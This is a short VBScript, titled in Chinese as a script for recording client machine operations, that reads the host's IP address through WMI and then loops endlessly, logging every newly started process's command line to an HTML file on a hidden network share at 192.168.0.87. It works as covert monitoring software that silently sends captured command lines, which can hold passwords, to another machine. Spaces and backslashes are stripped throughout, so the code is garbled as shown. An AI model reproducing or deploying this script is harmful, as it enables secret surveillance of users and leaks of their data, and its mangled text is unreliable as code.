记录客户机操作的VBS脚本
onerrorresumenext
strComputer="."
SetobjWMIService=GetObject("winmgmts:"&strComputer&"rootcimv2")
SetIPConfigSet=objWMIService.ExecQuery_
("SelectIPAddressfromWin32_NetworkAdapterConfigurationwhereIPEnabled=TRUE")
ForEachIPConfiginIPConfigSet
IfNotIsNull(IPConfig.IPAddress)Then
Fori=LBound(IPConfig.IPAddress)toUBound(IPConfig.IPAddress)
a=IPConfig.IPAddress(i)
Next
EndIf
Next
strComputer="."
SetobjWMIService=GetObject("winmgmts:"_
&"{impersonationLevel=impersonate}!"&strComputer&"rootcimv2")
SetcolMonitoredProcesses=objWMIService._
ExecNotificationQuery("select*from__instancecreationevent"_
&"within1whereTargetInstanceisa'Win32_Process'")
i=0
DoWhilei=0
SetobjLatestProcess=colMonitoredProcesses.NextEvent
b=objLatestProcess.TargetInstance.CommandLine
setfso=createobject("scripting.filesystemobject")
setfile1=fso.opentextfile("192.168.0.87ourway$ourway.htm",8,true)
file1.writelinenow()&"---"&a&"---"&b&"<hr>"
file1.close
Loop